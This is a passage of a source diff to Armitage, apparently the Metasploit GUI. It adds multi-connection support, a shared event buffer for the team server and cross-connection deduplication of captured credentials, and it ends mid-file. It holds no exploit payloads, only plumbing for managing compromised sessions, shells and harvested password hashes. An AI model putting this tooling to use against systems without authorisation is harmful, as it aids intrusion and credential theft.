$__frame__]; $file = [$fc getSelectedFile]; if ($file !is $null) { local('$ihandle $data $ohandle'); @@ -250,10 +251,10 @@ sub left { sub dialog { local('$dialog $4'); - $dialog = [new JDialog: $frame, $1]; + $dialog = [new JDialog: $__frame__, $1]; [$dialog setSize: $2, $3]; [$dialog setLayout: [new BorderLayout]]; - [$dialog setLocationRelativeTo: $frame]; + [$dialog setLocationRelativeTo: $__frame__]; return $dialog; } @@ -261,7 +262,15 @@ sub window { local('$dialog $4'); $dialog = [new JFrame: $1]; [$dialog setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]]; - [$dialog setDefaultCloseOperation: [JFrame EXIT_ON_CLOSE]]; + + fork({ + [$dialog addWindowListener: { + if ($0 eq "windowClosing") { + [$__frame__ closeConnect]; + } + }]; + }, \$__frame__, \$dialog); + [$dialog setSize: $2, $3]; [$dialog setLayout: [new BorderLayout]]; return $dialog; @@ -277,12 +286,14 @@ sub overlay_images { return %cache[join(';', $1)]; } - local('$file $image $buffered $graphics'); + local('$file $image $buffered $graphics $resource'); $buffered = [new BufferedImage: 1000, 776, [BufferedImage TYPE_INT_ARGB]]; $graphics = [$buffered createGraphics]; foreach $file ($1) { - $image = [ImageIO read: resource($file)]; + $resource = resource($file); + $image = [ImageIO read: $resource]; + closef($resource); [$graphics drawImage: $image, 0, 0, 1000, 776, $null]; } @@ -371,15 +382,6 @@ sub wrapComponent { return $panel; } -sub setLookAndFeel { - local('$laf'); - foreach $laf ([UIManager getInstalledLookAndFeels]) { - if ([$laf getName] eq [$preferences getProperty: "application.skin.skin", "Nimbus"]) { - [UIManager setLookAndFeel: [$laf getClassName]]; - } - } -} - sub thread { local('$thread'); $thread = [new ArmitageThread: $1]; @@ -467,6 +469,13 @@ sub quickListDialog { [$dialog setVisible: 1]; } +sub setTableColumnWidths { + local('$col $width $temp'); + foreach $col => $width ($2) { + [[$1 getColumn: $col] setPreferredWidth: $width]; + } +} + sub tableRenderer { return [ATable getDefaultTableRenderer: $1, $2]; } diff --git a/external/source/armitage/scripts/hosts.sl b/external/source/armitage/scripts/hosts.sl index 448bdb8fc7..7674154585 100644 --- a/external/source/armitage/scripts/hosts.sl +++ b/external/source/armitage/scripts/hosts.sl @@ -8,10 +8,10 @@ import java.awt.event.*; sub addHostDialog { local('$dialog $label $text $finish $button'); - $dialog = [new JDialog: $frame, "Add Hosts", 0]; + $dialog = [new JDialog: $__frame__, "Add Hosts", 0]; [$dialog setSize: 320, 240]; [$dialog setLayout: [new BorderLayout]]; - [$dialog setLocationRelativeTo: $frame]; + [$dialog setLocationRelativeTo: $__frame__]; $label = [new JLabel: "Enter one host/line:"]; $text = [new JTextArea]; diff --git a/external/source/armitage/scripts/log.sl b/external/source/armitage/scripts/log.sl index 6916a2d78f..e1d6c09800 100644 --- a/external/source/armitage/scripts/log.sl +++ b/external/source/armitage/scripts/log.sl @@ -15,8 +15,8 @@ sub logNow { if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") { local('$today $stream'); $today = formatDate("yyMMdd"); - mkdir(getFileProper(dataDirectory(), $today, $2)); - $stream = %logs[ getFileProper(dataDirectory(), $today, $2, "$1 $+ .log") ]; + mkdir(getFileProper(dataDirectory(), $today, $DESCRIBE, $2)); + $stream = %logs[ getFileProper(dataDirectory(), $today, $DESCRIBE, $2, "$1 $+ .log") ]; [$stream println: $3]; } } @@ -26,8 +26,8 @@ sub logCheck { local('$today'); $today = formatDate("yyMMdd"); if ($2 ne "") { - mkdir(getFileProper(dataDirectory(), $today, $2)); - [$1 writeToLog: %logs[ getFileProper(dataDirectory(), $today, $2, "$3 $+ .log") ]]; + mkdir(getFileProper(dataDirectory(), $today, $DESCRIBE, $2)); + [$1 writeToLog: %logs[ getFileProper(dataDirectory(), $today, $DESCRIBE, $2, "$3 $+ .log") ]]; } } } @@ -38,7 +38,7 @@ sub logFile { local('$today $handle $data $out'); $today = formatDate("yyMMdd"); if (-exists $1 && -canread $1) { - mkdir(getFileProper(dataDirectory(), $today, $2, $3)); + mkdir(getFileProper(dataDirectory(), $today, $DESCRIBE, $2, $3)); # read in the file $handle = openf($1); @@ -46,7 +46,7 @@ sub logFile { closef($handle); # write it out. - $out = getFileProper(dataDirectory(), $today, $2, $3, getFileName($1)); + $out = getFileProper(dataDirectory(), $today, $DESCRIBE, $2, $3, getFileName($1)); $handle = openf("> $+ $out"); writeb($handle, $data); closef($handle); @@ -70,7 +70,7 @@ sub initLogSystem { logFile([$file getAbsolutePath], "screenshots", "."); deleteFile([$file getAbsolutePath]); - showError("Saved " . getFileName($file) . "\nGo to View -> Reporting -> Activity Logs\n\nThe file is in:\n[today's date]/screenshots"); + showError("Saved " . getFileName($file) . "\nGo to View -> Reporting -> Activity Logs\n\nThe file is in:\n[today's date]/ $+ $DESCRIBE $+ /screenshots"); }, \$image, \$title)); }]; } diff --git a/external/source/armitage/scripts/menus.sl b/external/source/armitage/scripts/menus.sl index 59cd3c5143..011e0d72ed 100644 --- a/external/source/armitage/scripts/menus.sl +++ b/external/source/armitage/scripts/menus.sl @@ -119,10 +119,13 @@ sub view_items { sub armitage_items { local('$m'); - item($1, 'Preferences', 'P', &createPreferencesTab); - + item($1, 'New Connection', 'N', { + [new armitage.ArmitageMain: cast(@ARGV, ^String), $__frame__, $null]; + }); separator($1); + item($1, 'Preferences', 'P', &createPreferencesTab); + dynmenu($1, 'Set Target View', 'S', { local('$t1 $t2'); if ([$preferences getProperty: "armitage.string.target_view", "graph"] eq "graph") { @@ -183,12 +186,13 @@ sub armitage_items { separator($1); - item($1, 'Exit', 'x', { + item($1, 'Close', 'C', { if ($msfrpc_handle !is $null) { closef($msfrpc_handle); } - [System exit: 0]; + map({ closef($1); }, @CLOSEME); + [$__frame__ quit]; }); } @@ -246,7 +250,7 @@ sub help_items { [$dialog add: $label, [BorderLayout CENTER]]; [$dialog pack]; - [$dialog setLocationRelativeTo: $null]; + [$dialog setLocationRelativeTo: $__frame__]; [$dialog setVisible: 1]; }); } diff --git a/external/source/armitage/scripts/passhash.sl b/external/source/armitage/scripts/passhash.sl index ad9f68ce6a..c5eaf94ffb 100644 --- a/external/source/armitage/scripts/passhash.sl +++ b/external/source/armitage/scripts/passhash.sl @@ -58,12 +58,38 @@ import ui.*; sub refreshCredsTable { thread(lambda({ [Thread yield]; - local('$creds $cred'); + local('$creds $cred $desc $aclient %check $key'); [$model clear: 128]; - $creds = call($mclient, "db.creds2", [new HashMap])["creds2"]; + foreach $desc => $aclient (convertAll([$__frame__ getClients])) { + $creds = call($aclient, "db.creds2", [new HashMap])["creds2"]; + foreach $cred ($creds) { + $key = join("~~", values($cred, @("user", "pass", "host"))); + if ($key in %check) { + + } + else if ($title ne "login" || $cred['ptype'] ne "smb_hash") { + [$model addEntry: $cred]; + %check[$key] = 1; + } + } + } + [$model fireListeners]; + }, $model => $1, $title => $2)); +} + +sub refreshCredsTableLocal { + thread(lambda({ + [Thread yield]; + local('$creds $cred $desc $aclient %check $key'); + [$model clear: 128]; + $creds = call($client, "db.creds2", [new HashMap])["creds2"]; foreach $cred ($creds) { - if ($title ne "login" || $cred['ptype'] ne "smb_hash") { + $key = join("~~", values($cred, @("user", "pass", "host"))); + if ($key in %check) { + } + else if ($title ne "login" || $cred['ptype'] ne "smb_hash") { [$model addEntry: $cred]; + %check[$key] = 1; } } [$model fireListeners]; @@ -71,7 +97,7 @@ sub refreshCredsTable { } sub show_hashes { - local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $scroll'); + local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $scroll $3'); $dialog = dialog($1, 480, $2); @@ -83,7 +109,12 @@ sub show_hashes { [$sorter setComparator: 2, &compareHosts]; [$table setRowSorter: $sorter]; - refreshCredsTable($model, $1); + if ($3) { + refreshCredsTableLocal($model, $1); + } + else { + refreshCredsTable($model, $1); + } $scroll = [new JScrollPane: $table]; [$scroll setPreferredSize: [new Dimension: 480, 130]]; @@ -94,7 +125,7 @@ sub show_hashes { sub createCredentialsTab { local('$dialog $table $model $panel $export $crack $refresh'); - ($dialog, $table, $model) = show_hashes("", 320); + ($dialog, $table, $model) = show_hashes("", 320, 1); [$dialog removeAll]; addMouseListener($table, lambda({ @@ -131,7 +162,7 @@ sub createCredentialsTab { $refresh = [new JButton: "Refresh"]; [$refresh addActionListener: lambda({ - refreshCredsTable($model, $null); + refreshCredsTableLocal($model, $null); }, \$model)]; $crack = [new JButton: "Crack Passwords"]; diff --git a/external/source/armitage/scripts/pivots.sl b/external/source/armitage/scripts/pivots.sl index 3a5e117f4a..3adbfe450b 100644 --- a/external/source/armitage/scripts/pivots.sl +++ b/external/source/armitage/scripts/pivots.sl @@ -107,10 +107,10 @@ sub pivot_dialog { } local('$dialog $model $table $sorter $center $a $route $button'); - $dialog = [new JDialog: $frame, $title, 0]; + $dialog = [new JDialog: $__frame__, $title, 0]; [$dialog setSize: 320, 240]; [$dialog setLayout: [new BorderLayout]]; - [$dialog setLocationRelativeTo: $frame]; + [$dialog setLocationRelativeTo: $__frame__]; [$dialog setLayout: [new BorderLayout]]; diff --git a/external/source/armitage/scripts/preferences.sl b/external/source/armitage/scripts/preferences.sl index 19ad929524..ec418f2c19 100644 --- a/external/source/armitage/scripts/preferences.sl +++ b/external/source/armitage/scripts/preferences.sl @@ -57,12 +57,21 @@ sub parseYaml { sub loadPreferences { local('$file $prefs'); $file = getFileProper(systemProperties()["user.home"], ".armitage.prop"); - $prefs = [new Properties]; - if (-exists $file) { - [$prefs load: [new java.io.FileInputStream: $file]]; + if ($__frame__ !is $null && [$__frame__ getPreferences] !is $null) { + $prefs = [$__frame__ getPreferences]; } else { - [$prefs load: resource("resources/armitage.prop")]; + $prefs = [new Properties]; + if (-exists $file) { + [$prefs load: [new java.io.FileInputStream: $file]]; + } + else { + [$prefs load: resource("resources/armitage.prop")]; + } + + if ($__frame__ !is $null) { + [$__frame__ setPreferences: $prefs]; + } } # parse command line options here. diff --git a/external/source/armitage/scripts/reporting.sl b/external/source/armitage/scripts/reporting.sl index a6a7ac5dfb..1995e0686e 100644 --- a/external/source/armitage/scripts/reporting.sl +++ b/external/source/armitage/scripts/reporting.sl @@ -182,28 +182,21 @@ sub queryData { [$progress setProgress: 30]; } - # 4. clients - %r['clients'] = call($mclient, "db.clients")["clients"]; - - if ($progress) { - [$progress setProgress: 35]; - } - - # 5. sessions... + # 4. sessions... %r['sessions'] = fixSessions(call($mclient, "db.sessions")["sessions"]); if ($progress) { [$progress setProgress: 36]; } - # 6. timeline + # 5. timeline %r['timeline'] = fixTimeline(call($mclient, "db.events")['events']); if ($progress) { [$progress setProgress: 38]; } - # 7. hosts and services + # 6. hosts and services local('@hosts @services $temp $h $s $x'); call($mclient, "armitage.prep_export", $1); @@ -291,32 +284,27 @@ sub _generateArtifacts { [$progress setProgress: 65]; - # 4. clients - dumpData("clients", @("host", "created_at", "updated_at", "ua_name", "ua_ver", "ua_string"), %data['clients']); - - [$progress setProgress: 70]; - - # 5. hosts + # 4. hosts dumpData("hosts", @("address", "mac", "state", "address", "address6", "name", "purpose", "info", "os_name", "os_flavor", "os_sp", "os_lang", "os_match", "created_at", "updated_at"), %data['hosts']); [$progress setProgress: 80]; - # 6. services + # 5. services dumpData("services", @("host", "port", "state", "proto", "name", "created_at", "updated_at", "info"), %data['services']); [$progress setProgress: 90]; - # 7. sessions + # 6. sessions dumpData("sessions", @("host", "local_id", "stype", "platform", "via_payload", "via_exploit", "opened_at", "last_seen", "closed_at", "close_reason"), %data['sessions']); [$progress setProgress: 93]; - # 8. timeline + # 7. timeline dumpData("timeline", @("source", "username", "created_at", "info"), %data['timeline']); [$progress setProgress: 96]; - # 9. take a pretty screenshot of the graph view... + # 8. take a pretty screenshot of the graph view... [$progress setNote: "host picture :)"]; makeScreenshot("hosts.png"); @@ -330,7 +318,7 @@ sub _generateArtifacts { fire_event_async("user_export", %data); - return getFileProper(dataDirectory(), formatDate("yyMMdd"), "artifacts"); + return getFileProper(dataDirectory(), formatDate("yyMMdd"), $DESCRIBE, "artifacts"); } # @@ -368,8 +356,6 @@ sub api_export_data { } sub initReporting { - global('$poll_lock @events'); # set in the dserver, not in stand-alone Armitage - wait(fork({ global('$db'); [$client addHook: "armitage.export_data", &api_export_data]; diff --git a/external/source/armitage/scripts/server.sl b/external/source/armitage/scripts/server.sl index 1ea04e9671..4dcf4cd84d 100644 --- a/external/source/armitage/scripts/server.sl +++ b/external/source/armitage/scripts/server.sl @@ -35,9 +35,7 @@ sub result { sub event { local('$result'); $result = formatDate("HH:mm:ss") . " $1"; - acquire($poll_lock); - push(@events, $result); - release($poll_lock); + [$events put: $result]; } sub client { @@ -96,16 +94,6 @@ sub client { [[$handle getOutputStream] flush]; } - # limit our replay of the event log to 100 events... - acquire($poll_lock); - if (size(@events) > 100) { - $index = size(@events) - 100; - } - else { - $index = 0; - } - release($poll_lock); - # # on our merry way processing it... # @@ -183,33 +171,30 @@ sub client { else if ($method eq "armitage.log") { ($data, $address) = $args; event("* $eid $data $+ \n"); + if ($address is $null) { + $address = [$client getLocalAddress]; + } call_async($client, "db.log_event", "$address $+ // $+ $eid", $data); writeObject($handle, result(%())); } else if ($method eq "armitage.skip") { - acquire($poll_lock); - $index = size(@events); - release($poll_lock); + [$events get: $eid]; writeObject($handle, result(%())); } else if ($method eq "armitage.poll" || $method eq "armitage.push") { - acquire($poll_lock); if ($method eq "armitage.push") { ($null, $data) = $args; foreach $temp (split("\n", $data)) { - push(@events, formatDate("HH:mm:ss") . " < $+ $[10]eid $+ > " . $data); + [$events put: formatDate("HH:mm:ss") . " < $+ $[10]eid $+ > " . $data]; } } - if (size(@events) > $index) { - $rv = result(%(data => join("", sublist(@events, $index)), encoding => "base64", prompt => "$eid $+ > ")); - $index = size(@events); - } - else { - $rv = result(%(data => "", prompt => "$eid $+ > ", encoding => "base64")); - } - release($poll_lock); - + $rv = result(%(data => [$events get: $eid], encoding => "base64", prompt => "$eid $+ > ")); + writeObject($handle, $rv); + } + else if ($method eq "armitage.lusers") { + $rv = [new HashMap]; + [$rv put: "lusers", [$events clients]]; writeObject($handle, $rv); } else if ($method eq "armitage.append") { @@ -308,6 +293,10 @@ sub client { $response = [$client execute: $method, cast($args, ^Object)]; writeObject($handle, $response); } + else if ($method eq "module.execute_direct") { + $response = [$client execute: "module.execute", cast($args, ^Object)]; + writeObject($handle, $response); + } else if ($method in %async) { if ($args) { [$client execute_async: $method, cast($args, ^Object)]; @@ -333,6 +322,7 @@ sub client { if ($eid !is $null) { event("*** $eid left.\n"); + [$events free: $eid]; } # reset the user's filter... @@ -355,7 +345,7 @@ sub client { sub main { global('$client $mclient'); - local('$server %sessions $sess_lock $read_lock $poll_lock $lock_lock %locks %readq $id @events $error $auth %cache $cach_lock $client_cache $handle $console'); + local('$server %sessions $sess_lock $read_lock $lock_lock %locks %readq $id $error $auth %cache $cach_lock $client_cache $handle $console $events'); $auth = unpack("H*", digest(rand() . ticks(), "MD5"))[0]; @@ -413,10 +403,12 @@ sub main { # $sess_lock = semaphore(1); $read_lock = semaphore(1); - $poll_lock = semaphore(1); $lock_lock = semaphore(1); $cach_lock = semaphore(1); + # setup any shared buffers... + $events = [new armitage.ArmitageBuffer: 250]; + # set the LHOST to whatever the user specified (use console.write to make the string not UTF-8) $console = createConsole($client); call($client, "console.write", $console, "setg LHOST $host $+ \n"); @@ -424,6 +416,9 @@ sub main { # absorb the output of this command which is LHOST => ... call($client, "console.read", $console); + # update server's understanding of this value... + call($client, "armitage.set_ip", $host); + # # create a thread to push console messages to the event queue for all clients. # @@ -433,12 +428,10 @@ sub main { sleep(2000); $r = call($client, "console.read", $console); if ($r["data"] ne "") { - acquire($poll_lock); - push(@events, formatDate("HH:mm:ss") . " " . $r["data"]); - release($poll_lock); + [$events put: formatDate("HH:mm:ss") . " " . $r["data"]]; } } - }, \$client, \$poll_lock, \@events, \$console); + }, \$client, \$events, \$console); # # Create a shared hash that contains a thread for each session... @@ -535,7 +528,7 @@ service framework-postgres start"); $handle = [$server accept]; if ($handle !is $null) { %readq[$id] = %(); - fork(&client, \$client, \$handle, \%sessions, \$read_lock, \$sess_lock, \$poll_lock, $queue => %readq[$id], \$id, \@events, \$auth, \%locks, \$lock_lock, \$cach_lock, \%cache, \$motd, \$client_cache, $_user => $user, $_pass => $pass); + fork(&client, \$client, \$handle, \%sessions, \$read_lock, \$sess_lock, $queue => %readq[$id], \$id, \$events, \$auth, \%locks, \$lock_lock, \$cach_lock, \%cache, \$motd, \$client_cache, $_user => $user, $_pass => $pass); $id++; } diff --git a/external/source/armitage/scripts/shell.sl b/external/source/armitage/scripts/shell.sl index 7af64f264e..43abea73c3 100644 --- a/external/source/armitage/scripts/shell.sl +++ b/external/source/armitage/scripts/shell.sl @@ -290,7 +290,7 @@ sub createShellSessionTab { return; } - $thread = [new ConsoleClient: $console, $client, "session.shell_read", "session.shell_write", $null, $sid, 0]; + $thread = [new ConsoleClient: $console, rand(@POOL), "session.shell_read", "session.shell_write", $null, $sid, 0]; [$frame addTab: "Shell $sid", $console, lambda({ call_async($mclient, "armitage.unlock", $sid); [$thread kill]; diff --git a/external/source/armitage/scripts/targets.sl b/external/source/armitage/scripts/targets.sl index 3721006ea7..797174c255 100644 --- a/external/source/armitage/scripts/targets.sl +++ b/external/source/armitage/scripts/targets.sl @@ -193,6 +193,11 @@ on hosts { $address = $host['address']; if ($address in %hosts && size(%hosts[$address]) > 1) { %newh[$address] = %hosts[$address]; + + # set the label to empty b/c team server won't add labels if there are no labels. This fixes + # a corner case where a user might clear all labels and find they won't go away + %newh[$address]['label'] = ''; + putAll(%newh[$address], keys($host), values($host)); if ($host['os_name'] eq "") { @@ -262,7 +267,7 @@ sub _importHosts { } $console = createDisplayTab("Import", $file => "import"); - [$console addCommand: $null, "db_import " . strrep(join(" ", $files), "\\", "\\\\")]; + [$console addCommand: 'x', "db_import " . strrep(join(" ", $files), "\\", "\\\\")]; [$console addListener: lambda({ elog("imported hosts from $success file" . iff($success != 1, "s")); }, \$success)]; @@ -346,8 +351,10 @@ sub clearHostFunction { } sub clearDatabase { - elog("cleared the database"); - call_async($mclient, "db.clear"); + if (!askYesNo("This action will clear the database. You will lose all information\ncollected up to this point. You will not be able toget it back.\nWould you like to clear the database?", "Clear Database")) { + elog("cleared the database"); + call_async($mclient, "db.clear"); + } } # called when a target is clicked on... diff --git a/external/source/armitage/scripts/util.sl b/external/source/armitage/scripts/util.sl index de80e1d8d3..8bc953b989 100644 --- a/external/source/armitage/scripts/util.sl +++ b/external/source/armitage/scripts/util.sl @@ -78,7 +78,7 @@ sub setupEventStyle { sub createDisplayTab { local('$console $host $queue $file'); - $queue = [new ConsoleQueue: $client]; + $queue = [new ConsoleQueue: rand(@POOL)]; if ($1 eq "Log Keystrokes") { $console = [new ActivityConsole: $preferences]; } @@ -100,7 +100,7 @@ sub createConsolePanel { setupConsoleStyle($console); $result = call($client, "console.create"); - $thread = [new ConsoleClient: $console, $aclient, "console.read", "console.write", "console.destroy", $result['id'], $1]; + $thread = [new ConsoleClient: $console, rand(@POOL), "console.read", "console.write", "console.destroy", $result['id'], $1]; [$thread setMetasploitConsole]; [$thread setSessionListener: { @@ -151,6 +151,11 @@ sub createConsoleTab { } sub setg { + # update team server's understanding of LHOST + if ($1 eq "LHOST") { + call_async($client, "armitage.set_ip", $2); + } + %MSF_GLOBAL[$1] = $2; local('$c'); $c = createConsole($client); @@ -381,7 +386,7 @@ sub connectDialog { $msfrpc_handle = $null; } - local('$dialog $host $port $ssl $user $pass $button $cancel $start $center $help $helper'); + local('$dialog $host $port $ssl $user $pass $button $start $center $help $helper'); $dialog = window("Connect...", 0, 0); # setup our nifty form fields.. @@ -398,8 +403,6 @@ sub connectDialog { $help = [new JButton: "Help"]; [$help setToolTipText: "Use this button to view the Getting Started Guide on the Armitage homepage"]; - $cancel = [new JButton: "Exit"]; - # lay them out $center = [new JPanel]; @@ -422,9 +425,14 @@ sub connectDialog { ($h, $p, $u, $s) = @o; [$dialog setVisible: 0]; - connectToMetasploit($h, $p, $u, $s); if ($h eq "127.0.0.1" || $h eq "::1" || $h eq "localhost") { + if ($__frame__ && [$__frame__ checkLocal]) { + showError("You can't connect to localhost twice"); + [$dialog setVisible: 1]; + return; + } + try { closef(connect("127.0.0.1", $p, 1000)); } @@ -434,37 +442,33 @@ sub connectDialog { } } } + + connectToMetasploit($h, $p, $u, $s); }, \$dialog, \$host, \$port, \$user, \$pass)]; [$help addActionListener: gotoURL("http://www.fastandeasyhacking.com/start")]; - [$cancel addActionListener: { - [System exit: 0]; - }]; - [$dialog pack]; [$dialog setLocationRelativeTo: $null]; [$dialog setVisible: 1]; } -sub _elog { +sub elog { + local('$2'); if ($client !is $mclient) { + # $2 can be NULL here. team server will populate it... call_async($mclient, "armitage.log", $1, $2); } else { + # since we're not on a team server, no one else will have + # overwritten LHOST, so we can trust $MY_ADDRESS to be current + if ($2 is $null) { + $2 = $MY_ADDRESS; + } call_async($client, "db.log_event", "$2 $+ //", $1); } } -sub elog { - local('$2'); - if ($2 is $null) { - $2 = $MY_ADDRESS; - } - - _elog($1, $2); -} - sub module_execute { return invoke(&_module_execute, filter_data_array("user_launch", @_)); } diff --git a/external/source/armitage/src/armitage/ArmitageApplication.java b/external/source/armitage/src/armitage/ArmitageApplication.java index b7365e1309..84fe420c76 100644 --- a/external/source/armitage/src/armitage/ArmitageApplication.java +++ b/external/source/armitage/src/armitage/ArmitageApplication.java @@ -13,13 +13,32 @@ import cortana.gui.MenuBuilder; import ui.*; -public class ArmitageApplication extends JFrame { +public class ArmitageApplication extends JComponent { protected JTabbedPane tabs = null; protected JSplitPane split = null; protected JMenuBar menus = new JMenuBar(); protected ScreenshotManager screens = null; protected KeyBindings keys = new KeyBindings(); protected MenuBuilder builder = null; + protected String title = ""; + protected MultiFrame window = null; + + public KeyBindings getBindings() { + return keys; + } + + public void setTitle(String title) { + this.title = title; + window.setTitle(this, title); + } + + public String getTitle() { + return title; + } + + public void setIconImage(Image blah) { + window.setIconImage(blah); + } public void setScreenshotManager(ScreenshotManager m) { screens = m; @@ -192,7 +211,7 @@ public class ArmitageApplication extends JFrame { /* pop goes the tab! */ final JFrame r = new JFrame(t.title); - r.setIconImages(getIconImages()); + //r.setIconImages(getIconImages()); r.setLayout(new BorderLayout()); r.add(t.component, BorderLayout.CENTER); r.pack(); @@ -366,8 +385,20 @@ public class ArmitageApplication extends JFrame { component.requestFocusInWindow(); } - public ArmitageApplication() { + public void touch() { + Component c = tabs.getSelectedComponent(); + if (c == null) + return; + + if (c instanceof Activity) + ((Activity)c).resetNotification(); + + c.requestFocusInWindow(); + } + + public ArmitageApplication(MultiFrame f, String details, msf.RpcConnection conn) { super(); + window = f; tabs = new DraggableTabbedPane(); setLayout(new BorderLayout()); @@ -383,10 +414,8 @@ public class ArmitageApplication extends JFrame { /* add our tabbed pane */ add(split, BorderLayout.CENTER); - /* setup our key bindings */ - KeyboardFocusManager.getCurrentKeyboardFocusManager().addKeyEventDispatcher(keys); - /* ... */ - setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); + //setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); + ((ui.MultiFrame)window).addButton(details, this, conn); } } diff --git a/external/source/armitage/src/armitage/ArmitageBuffer.java b/external/source/armitage/src/armitage/ArmitageBuffer.java new file mode 100644 index 0000000000..22731f671f --- /dev/null +++ b/external/source/armitage/src/armitage/ArmitageBuffer.java @@ -0,0 +1,138 @@ +package armitage; + +import java.util.*; + +/* + * Implement a thread safe store that any client may write to and + * any client may read from (keeping track of their cursor into + * the console) + */ +public class ArmitageBuffer { + private static final class Message { + public String message = null; + public Message next = null; + } + + /* store our messages... */ + public Message first = null; + public Message last = null; + public long size = 0; + public long max = 0; + public String prompt = ""; + + /* store indices into this buffer */ + public Map indices = new HashMap(); + + /* setup the buffer?!? :) */ + public ArmitageBuffer(long max) { + this.max = max; + } + + /* store a prompt with this buffer... we're not going to do any indexing magic for now */ + public String getPrompt() { + synchronized (this) { + return prompt; + } + } + + /* set the prompt */ + public void setPrompt(String text) { + synchronized (this) { + prompt = text; + } + } + + /* post a message to this buffer */ + public void put(String text) { + synchronized (this) { + /* create our message */ + Message m = new Message(); + m.message = text; + + /* store our message */ + if (last == null && first == null) { + first = m; + last = m; + } + else { + last.next = m; + last = m; + } + + /* increment number of stored messages */ + size += 1; + + /* limit the total number of past messages to the max size */ + if (size > max) { + first = first.next; + } + } + } + + /* retrieve a set of all clients consuming this buffer */ + public Collection clients() { + synchronized (this) { + LinkedList clients = new LinkedList(indices.keySet()); + return clients; + } + } + + /* free a client */ + public void free(String id) { + synchronized (this) { + indices.remove(id); + } + } + + /* reset our indices too */ + public void reset() { + synchronized (this) { + first = null; + last = null; + indices.clear(); + size = 0; + } + } + + /* retrieve all messages available to the client (if any) */ + public String get(String id) { + synchronized (this) { + /* nadaz */ + if (first == null) + return ""; + + /* get our index into the buffer */ + Message index = null; + if (!indices.containsKey(id)) { + index = first; + } + else { + index = (Message)indices.get(id); + + /* nothing happening */ + if (index.next == null) + return ""; + + index = index.next; + } + + /* now let's walk through it */ + StringBuffer result = new StringBuffer(); + Message temp = index; + while (temp != null) { + result.append(temp.message); + index = temp; + temp = temp.next; + } + + /* store our index */ + indices.put(id, index); + + return result.toString(); + } + } + + public String toString() { + return "[" + size + " messages]"; + } +} diff --git a/external/source/armitage/src/armitage/ArmitageMain.java b/external/source/armitage/src/armitage/ArmitageMain.java index 3feb310ee0..eb8d8295c2 100644 --- a/external/source/armitage/src/armitage/ArmitageMain.java +++ b/external/source/armitage/src/armitage/ArmitageMain.java @@ -9,10 +9,10 @@ import sleep.engine.*; import sleep.parser.ParserConfig; import java.util.*; - import java.io.*; import cortana.core.*; +import ui.*; /** * This class launches Armitage and loads the scripts that are part of it. @@ -101,7 +101,7 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function { }; } - public ArmitageMain(String[] args) { + public ArmitageMain(String[] args, MultiFrame window, boolean serverMode) { /* tweak the parser to recognize a few useful escapes */ ParserConfig.installEscapeConstant('c', console.Colors.color + ""); ParserConfig.installEscapeConstant('U', console.Colors.underline + ""); @@ -118,15 +118,6 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function { ScriptLoader loader = new ScriptLoader(); loader.addSpecificBridge(this); - /* check for server mode option */ - boolean serverMode = false; - - int x = 0; - for (x = 0; x < args.length; x++) { - if (args[x].equals("--server")) - serverMode = true; - } - /* setup Cortana event and filter bridges... we will install these into Armitage */ if (!serverMode) { @@ -135,6 +126,7 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function { variables.putScalar("$__events__", SleepUtils.getScalar(events)); variables.putScalar("$__filters__", SleepUtils.getScalar(filters)); + variables.putScalar("$__frame__", SleepUtils.getScalar(window)); loader.addGlobalBridge(events.getBridge()); loader.addGlobalBridge(filters.getBridge()); @@ -142,7 +134,7 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function { /* load the appropriate scripts */ String[] scripts = serverMode ? getServerScripts() : getGUIScripts(); - + int x = -1; try { for (x = 0; x < scripts.length; x++) { InputStream i = this.getClass().getClassLoader().getResourceAsStream(scripts[x]); @@ -161,6 +153,23 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function { } public static void main(String args[]) { - new ArmitageMain(args); + /* check for server mode option */ + boolean serverMode = false; + + int x = 0; + for (x = 0; x < args.length; x++) { + if (args[x].equals("--server")) + serverMode = true; + } + + /* setup our armitage instance */ + if (serverMode) { + new ArmitageMain(args, null, serverMode); + } + else { + MultiFrame.setupLookAndFeel(); + MultiFrame frame = new MultiFrame(); + new ArmitageMain(args, frame, serverMode); + } } } diff --git a/external/source/armitage/src/armitage/ConsoleClient.java b/external/source/armitage/src/armitage/ConsoleClient.java index 7937362f1a..82a8b05fd2 100644 --- a/external/source/armitage/src/armitage/ConsoleClient.java +++ b/external/source/armitage/src/armitage/ConsoleClient.java @@ -215,6 +215,7 @@ public class ConsoleClient implements Runnable, ActionListener { Map read; boolean shouldRead = go_read; String command = null; + long last = 0; try { while (shouldRead) { @@ -230,21 +231,23 @@ public class ConsoleClient implements Runnable, ActionListener { lastRead = System.currentTimeMillis(); } - read = readResponse(); - - if (read == null || "failure".equals( read.get("result") + "" )) { - break; - } - - processRead(read); - - if ((System.currentTimeMillis() - lastRead) <= 500) { - Thread.sleep(10); + long now = System.currentTimeMillis(); + if (this.window != null && !this.window.isShowing() && (now - last) < 1500) { + /* check if our window is not showing... if not, then we're going to switch to a very reduced + read schedule. */ } else { - Thread.sleep(500); + read = readResponse(); + if (read == null || "failure".equals( read.get("result") + "" )) { + break; + } + + processRead(read); + last = System.currentTimeMillis(); } + Thread.sleep(100); + synchronized (listeners) { shouldRead = go_read; } diff --git a/external/source/armitage/src/armitage/EventLogTabCompletion.java b/external/source/armitage/src/armitage/EventLogTabCompletion.java new file mode 100644 index 0000000000..6fa7fddee8 --- /dev/null +++ b/external/source/armitage/src/armitage/EventLogTabCompletion.java @@ -0,0 +1,60 @@ +package armitage; + +import console.Console; +import msf.*; +import java.util.*; +import java.awt.*; +import java.awt.event.*; +import javax.swing.*; + +import java.io.IOException; + +public class EventLogTabCompletion extends GenericTabCompletion { + protected RpcConnection connection; + + public EventLogTabCompletion(Console window, RpcConnection connection) { + super(window); + this.connection = connection; + } + + public Collection getOptions(String text) { + try { + Map response = (Map)connection.execute("armitage.lusers", new Object[] {}); + + if (response.get("lusers") == null) + return null; + + Iterator users = ((Collection)response.get("lusers")).iterator(); + + LinkedList options = new LinkedList(); + String word; + String pre; + + if (text.endsWith(" ")) { + word = ""; + pre = text; + } + if 